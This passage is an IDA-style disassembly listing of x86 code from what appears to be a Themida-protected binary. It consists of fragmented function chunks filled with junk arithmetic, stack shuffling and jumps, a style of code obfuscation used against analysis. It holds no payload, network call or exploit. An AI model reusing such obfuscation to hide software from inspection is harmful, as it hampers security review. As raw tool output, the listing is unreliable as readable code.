; FUNCTION CHUNK AT 005742DF SIZE 0000000E BYTES

		lodsd
		push	ebx
		mov	ebx, 71E678A5h
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		jmp	loc_57173D
sub_56628B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CD13


loc_56629C:				; CODE XREF: sub_56CD13-1902j
		mov	eax, esp
		push	ecx
		push	esi
		mov	esi, 2F5F1069h
		or	esi, 561B61E7h
		sub	esi, 705936AEh
		xor	esi, 0A393DB3h
		mov	ecx, esi
		pop	esi
		shr	ecx, 4
		xor	ecx, 2D6A1C04h
		push	ebp
		mov	ebp, 13C23276h
		shl	ebp, 8
		or	ebp, 0D917498h
		push	edi
		mov	edi, 1A2E3950h
		sub	ebp, edi
		pop	edi
		push	ecx
		jmp	loc_56BF1A
; END OF FUNCTION CHUNK	FOR sub_56CD13
; ---------------------------------------------------------------------------


loc_5662E1:				; CODE XREF: Themida_:005638BAj
		push	cx
		pushf
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_5662E9:				; CODE XREF: sub_566078-C81j
		xor	eax, edx
		jmp	loc_5655F1
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_5662F0:				; CODE XREF: sub_56FA15-BD86j
		mov	ch, 92h
		sub	al, 0E3h
		jmp	loc_57287D
; END OF FUNCTION CHUNK	FOR sub_56FA15

; =============== S U B	R O U T	I N E =======================================



sub_5662F9	proc near		; DATA XREF: Themida_:0055FF2Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  4

; FUNCTION CHUNK AT 00569BA6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056A8E5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BB6B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056C12D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E645 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056EECE SIZE 00000019 BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		push	edi
		push	ebp
		push	3FA838A7h
		pop	ebp
		not	ebp
		and	ebp, 497E29D6h
		shl	ebp, 6
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 621B1CDCh
		not	edi
		add	edi, 4C9AC8E1h
		add	ebp, edi
		pop	edi
		push	ebp
		pop	edi
		pop	ebp
		add	ecx, 23EA67DAh
		add	ecx, edi
		sub	ecx, 23EA67DAh
		pop	edi
		push	ebp
		mov	ebp, 2
		jmp	loc_56EECE
sub_5662F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A608


loc_566351:				; CODE XREF: sub_56A608+7452j
		mov	eax, 3872CA7h
		jmp	loc_56DEA2
; END OF FUNCTION CHUNK	FOR sub_56A608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56635B:				; CODE XREF: sub_561418+27F4j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 4
		mov	ebx, esi
		jmp	loc_5739D5
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_566372:				; CODE XREF: sub_56628B+68FCj
		pop	eax
		push	edx
		mov	edx, 0C767C785h
		jmp	loc_56C1FD
; END OF FUNCTION CHUNK	FOR sub_56628B

; =============== S U B	R O U T	I N E =======================================



sub_56637E	proc near		; CODE XREF: sub_5681F5+D10Cj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056737B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005694D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056A3CC SIZE 00000016 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		jmp	loc_56A3CC
sub_56637E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_56638C	proc near		; DATA XREF: Themida_:0055FEC4o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560D7F SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056150A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056169E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562428 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056258B SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056266F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564CAF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00568111 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00569366 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569EC5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056A03E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056ED81 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 00570AD3 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005710F7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005729CA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00574249 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005749DE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574FE4 SIZE 0000002F BYTES

		mov	cx, [esp+0]
		push	3FD3h
		jmp	loc_56150A
sub_56638C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56639A:				; CODE XREF: sub_56AB5E-2AA8j
		mov	ch, dh
		mov	bh, ch
		pop	ecx
		mov	edx, [esp+8+var_8]
		jmp	loc_5672AC
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_5663A7:				; CODE XREF: sub_56671D+E124j
		neg	al
		add	al, 26h
		sub	al, 1Eh
		xor	cl, al
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		inc	byte ptr [esp+8+var_8]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	ebx
		push	eax
		mov	al, 78h
		or	al, 4Bh
		jmp	sub_561C21
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5663CD:				; CODE XREF: sub_56FB8A-542Cj
		mov	ebx, 4
		push	ecx
		mov	ecx, 33A76898h
		sub	eax, ecx
		pop	ecx
		sub	eax, 397C76B9h
		add	eax, ebx
		add	eax, 397C76B9h
		push	ebx
		mov	ebx, 5E5E4E6Dh
		add	ebx, 4A191DA2h
		jmp	loc_56A186
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------


loc_5663F8:				; CODE XREF: Themida_:00562A95j
		mov	edi, eax
		pop	eax
		jmp	loc_564301

; =============== S U B	R O U T	I N E =======================================



sub_566400	proc near		; DATA XREF: Themida_:0055FEB8o

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005610FE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005627EA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00562E98 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005641C5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564ECC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00566244 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00566A65 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00568448 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699F9 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00569B7B SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00569F18 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0056A152 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056C5D5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056D155 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056F24B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056FF20 SIZE 0000000B BYTES

		lodsd
		jmp	loc_5699F9
sub_566400	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575420


loc_566406:				; CODE XREF: sub_575420-B6CEj
		dec	cl
		jmp	sub_56EB4A
; END OF FUNCTION CHUNK	FOR sub_575420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56640D:				; CODE XREF: sub_5620B7+117F0j
		xor	al, bl
		pop	ebx
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4DF616B4h
		sub	esi, 7AB307DBh
		xchg	edx, esi
		sub	edx, 0FFFFFFFFh
		xchg	edx, esi
		shr	esi, 2
		jmp	loc_573C20
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_566431:				; CODE XREF: sub_564D26-173Aj
		add	edx, 29762EA0h
		mov	ebp, [esp+18h+var_18]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+1Ch+var_1C]
		jmp	loc_563E76
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5683C0


loc_566451:				; CODE XREF: sub_5683C0-234Dj
		add	edx, 12302F5Ah
		add	edx, 66C66354h
		jmp	loc_56AAD8
; END OF FUNCTION CHUNK	FOR sub_5683C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_566462:				; CODE XREF: sub_56AB5E+8094j
		xor	[esp+10h+var_10], ebp
		xor	ebp, [esp+10h+var_10]
		jmp	loc_560684
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56646D:				; CODE XREF: sub_569193+B029j
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_564582
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_566484:				; CODE XREF: sub_561418+C72j
		push	ecx
		mov	ecx, 3DE54D8Dh
		add	ecx, 0C21AB277h
		mov	edi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		add	[esp+10h+var_C], edi
		pop	edi
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		mov	[esp+10h+var_10], ebp
		push	edi
		mov	edi, 48DE0CB3h
		jmp	loc_568630
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_5664C1:				; CODE XREF: sub_56FB8A-F076j
		pop	ebx
		jmp	loc_5745C1
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_5664C7:				; CODE XREF: sub_5673C3+92Dj
		mov	[esp+0], edi
		mov	edi, 2147025Bh
		sub	edi, 21470257h
		add	ebp, edi
		mov	edi, [esp+0]
		add	esp, 4
		xor	ebp, [esp-4+arg_0]
		jmp	loc_56AED6
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------


loc_5664E5:				; CODE XREF: Themida_:005753FFj
		sub	esp, 4
		jmp	loc_5671BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5690E8


loc_5664ED:				; CODE XREF: sub_5690E8-326Aj
		neg	ebx
		jmp	loc_56EB70
; END OF FUNCTION CHUNK	FOR sub_5690E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_5664F4:				; CODE XREF: sub_56C7AA+2j
		mov	esi, 4FE1DC7h
		or	esi, 63127D6Fh
		shr	esi, 1
		jmp	loc_562D60
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_566506:				; CODE XREF: sub_574F16-7A18j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	edx
		mov	bl, cl
		jmp	loc_561B1A
; END OF FUNCTION CHUNK	FOR sub_574F16

; =============== S U B	R O U T	I N E =======================================



sub_56651E	proc near		; CODE XREF: sub_5747D7-13586j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056106B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00563F44 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00564786 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00567152 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00567636 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005691AB SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00569DD2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056C146 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056C7EB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056DAA9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EAF1 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056F22B SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056FB59 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005701B8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570BFB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005734C1 SIZE 0000003A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	edi
		push	ecx
		mov	ecx, 4
		mov	edi, ecx
		pop	ecx
		sub	[esp+8+var_4], 78D93E6Dh
		jmp	loc_56C146
sub_56651E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56653B:				; CODE XREF: sub_572075+3058j
		xor	edi, [esp+0]
		jmp	loc_561910
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DC7


loc_566543:				; CODE XREF: sub_566DC7-30F1j
		mov	ebp, [esp+0]
		push	esi
		jmp	loc_568C82
; END OF FUNCTION CHUNK	FOR sub_566DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56654C:				; CODE XREF: sub_571C93-C34Aj
		mov	ebx, 462D17FBh
		inc	ebx
		neg	ebx
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		sub	ebx, 39CD4A8Dh
		add	ebx, 317673B6h
		mov	ecx, ebx
		jmp	loc_5733AF
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_56656B:				; CODE XREF: sub_56D4B8-5E5Fj
		add	edi, 71FDFFC1h
		add	ecx, edi
		pop	edi
		push	ecx
		jmp	loc_567EF6
; END OF FUNCTION CHUNK	FOR sub_56D4B8

; =============== S U B	R O U T	I N E =======================================



sub_56657A	proc near		; CODE XREF: sub_571890-DF88j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00560F0B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00562A34 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005631F8 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563CDB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005645D6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056472E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005647EE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005669CE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005676B4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00567746 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005686AE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00568FFA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00569BB3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00569E87 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056A2C3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AB7D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056AE2C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056CBD5 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056CF7D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056D783 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0057367D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00574361 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057484D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00574865 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00575261 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005752BB SIZE 00000009 BYTES

		push	ebx
		mov	ebx, 75D65D81h
		sub	ebx, 6E935DB7h
		shr	ebx, 1
		add	ebx, 1CAC9224h
		add	ecx, ebx
		pop	ebx
		jmp	loc_567746
sub_56657A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_566596:				; CODE XREF: sub_56DAB2-683Bj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		sub	eax, 42270DB1h
		add	eax, edi
		jmp	loc_57126A
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_5665AF:				; CODE XREF: sub_571088-1094Bj
		pop	eax
		jmp	loc_574BC4
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_5665B5:				; CODE XREF: sub_5671E1-37BDj
		add	esp, 4
		push	ecx
		mov	ecx, 33024246h
		not	ecx
		xor	ecx, 0CCFDBDBDh
		sub	edi, 6CFE34C2h
		jmp	loc_56D7FB
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_5665D4:				; CODE XREF: sub_565632+D41Bj
		or	ecx, edx
		jmp	loc_56B517
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------


loc_5665DB:				; CODE XREF: Themida_:005754F8j
		mov	ebx, 2
		sub	eax, 29615B20h
		add	eax, ebx
		add	eax, 29615B20h
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_567F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_5665FC:				; CODE XREF: sub_5685B2-6A84j
		shr	ah, 4
		sub	ah, 0E5h
		xor	dl, ah
		mov	eax, [esp+0]
		add	esp, 4
		jmp	loc_562E0F
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_56660F:				; CODE XREF: sub_570CE4-4EE2j
		sub	eax, 5E495FFCh
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_5608E3
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574304


loc_56661F:				; CODE XREF: sub_574304-E5BBj
		mov	esp, [esp+0]
		jmp	loc_57142E
; END OF FUNCTION CHUNK	FOR sub_574304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_566627:				; CODE XREF: sub_56616D+48AEj
		pop	esp
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_570869
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		sub	esi, 4
		xchg	esi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 1Ch
		jmp	loc_56D202
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_566653:				; CODE XREF: sub_574DC1-8A94j
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		mov	ebp, 5DCD4518h
		sub	eax, ebp
		jmp	loc_5618B2
; END OF FUNCTION CHUNK	FOR sub_574DC1

; =============== S U B	R O U T	I N E =======================================



sub_56666D	proc near		; DATA XREF: Themida_:0055FCFCo

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 005610B4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00565063 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005679F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0057513D SIZE 00000013 BYTES

		mov	ax, [esp+0]
		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		jmp	loc_565063
sub_56666D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56667B:				; CODE XREF: sub_570732-CB8Dj
		xor	ebx, 0E71B6CF5h
		push	eax
		mov	eax, ebx
		mov	ebp, eax
		pop	eax
		mov	ebx, [esp+18h+var_18]
		jmp	loc_5732CE
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56668F:				; CODE XREF: sub_57354D-E52Fj
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_56A6F5
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56669E:				; CODE XREF: sub_5673C3+1j
		mov	ebx, 41DA0721h
		add	ebx, 42C239DFh
		and	ebx, 4290385Dh
		sub	ebx, 8FFFFCh
		jmp	loc_56408B
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------


loc_5666BA:				; CODE XREF: Themida_:00565F11j
		mov	[esp], ebp
		push	esp
		jmp	loc_56FEFD

; =============== S U B	R O U T	I N E =======================================



sub_5666C3	proc near		; CODE XREF: sub_573A7F-5571j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00562F52 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005631BF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056404A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005667DD SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00567026 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00567952 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00568922 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E78B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0057167D SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00572EB8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00573AC6 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 00574BCA SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00575110 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005752B1 SIZE 0000000A BYTES

		push	ebx
		mov	ebx, 62B229F2h
		sub	eax, ebx
		jmp	loc_57167D
sub_5666C3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572E16


loc_5666D0:				; CODE XREF: sub_572E16+1Bj
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	esi
		jmp	loc_5628E8
; END OF FUNCTION CHUNK	FOR sub_572E16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57236D


loc_5666E4:				; CODE XREF: sub_57236D-107CEj
		xor	ecx, [esp+0]
		jmp	loc_568BD4
; END OF FUNCTION CHUNK	FOR sub_57236D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E0CB


loc_5666EC:				; CODE XREF: sub_56E0CB-3E5Dj
		mov	[esp+8+var_8], ebx
		mov	ebx, 141706E4h
		and	ebx, 64206A1Ah
		jmp	loc_572389
; END OF FUNCTION CHUNK	FOR sub_56E0CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5666FF:				; CODE XREF: sub_571F6F-1F23j
		pop	bx
		jmp	loc_570EA7
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_566706:				; CODE XREF: sub_5648C6+1j
		push	esp
		pop	ebp
		push	eax
		push	ebx
		push	esi
		mov	esi, 7C384C0Fh
		sub	esi, 7BA9D1CEh
		mov	ebx, esi
		jmp	loc_5721F7
; END OF FUNCTION CHUNK	FOR sub_5648C6

; =============== S U B	R O U T	I N E =======================================



sub_56671D	proc near		; CODE XREF: sub_56626B+9BD0j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005611DC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00563792 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005663A7 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0056732B SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00569F52 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057318B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00574839 SIZE 0000000D BYTES

		sub	esp, 4
		jmp	loc_56732B
sub_56671D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_566728:				; CODE XREF: sub_563BCC-2E6Aj
		add	edi, 4
		jmp	loc_56C929
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_566733:				; CODE XREF: sub_57523A-16j
		mov	[esp+0Ch+var_C], ebp
		jmp	loc_56AAC5
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E126


loc_56673B:				; CODE XREF: sub_56E126+Ej
		shl	ebx, 7
		add	ebx, 46FA580Ch
		add	ebx, 4D9E2942h
		jmp	loc_564E41
; END OF FUNCTION CHUNK	FOR sub_56E126
; ---------------------------------------------------------------------------


loc_56674F:				; CODE XREF: Themida_:00563DC6j
		sub	ecx, 5061459Dh
		sub	ecx, 6D7F0020h
		push	eax
		mov	eax, 120D9A98h
		add	ecx, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_56D759
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5734A7


loc_56676E:				; CODE XREF: sub_5734A7-C8DFj
		push	[esp+18h+var_18]
		pop	edi
		push	edi
		jmp	loc_568FDE
; END OF FUNCTION CHUNK	FOR sub_5734A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_566778:				; CODE XREF: sub_5653AD+923Ej
		mov	esi, [esp+0]
		push	ebx
		jmp	loc_569663
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_566781:				; CODE XREF: sub_563A7F+DC3Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+12h+var_14+2]
		pop	esp
		push	ecx
		mov	ecx, esp
		jmp	loc_56527D
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574000


loc_56679B:				; CODE XREF: sub_574000-EF09j
		push	esi
		mov	esi, 3A1B9492h
		push	ebp
		mov	ebp, 7B466551h
		jmp	loc_572481
; END OF FUNCTION CHUNK	FOR sub_574000
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_5667AC:				; CODE XREF: sub_56B06D+4340j
		neg	ebp
		sub	ebp, 2901001Ch
		mov	ebx, ebp
		pop	ebp
		jmp	loc_566002
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_5667BC:				; CODE XREF: sub_563DCB+83D1j
		mov	[esp+2+var_4+2], ebx
		jmp	loc_561587
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5667C4:				; CODE XREF: sub_571F6F+6BDj
		not	dl
		shl	dl, 2
		xor	dl, 3Eh
		xor	ch, dl
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		push	bx
		mov	bl, 0B2h
		jmp	loc_57004A
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_5667DD:				; CODE XREF: sub_5666C3+80E2j
		mov	ecx, 61341853h
		not	ecx
		and	ecx, 716C16BCh
		add	ecx, 70E48ADh
		sub	eax, ecx
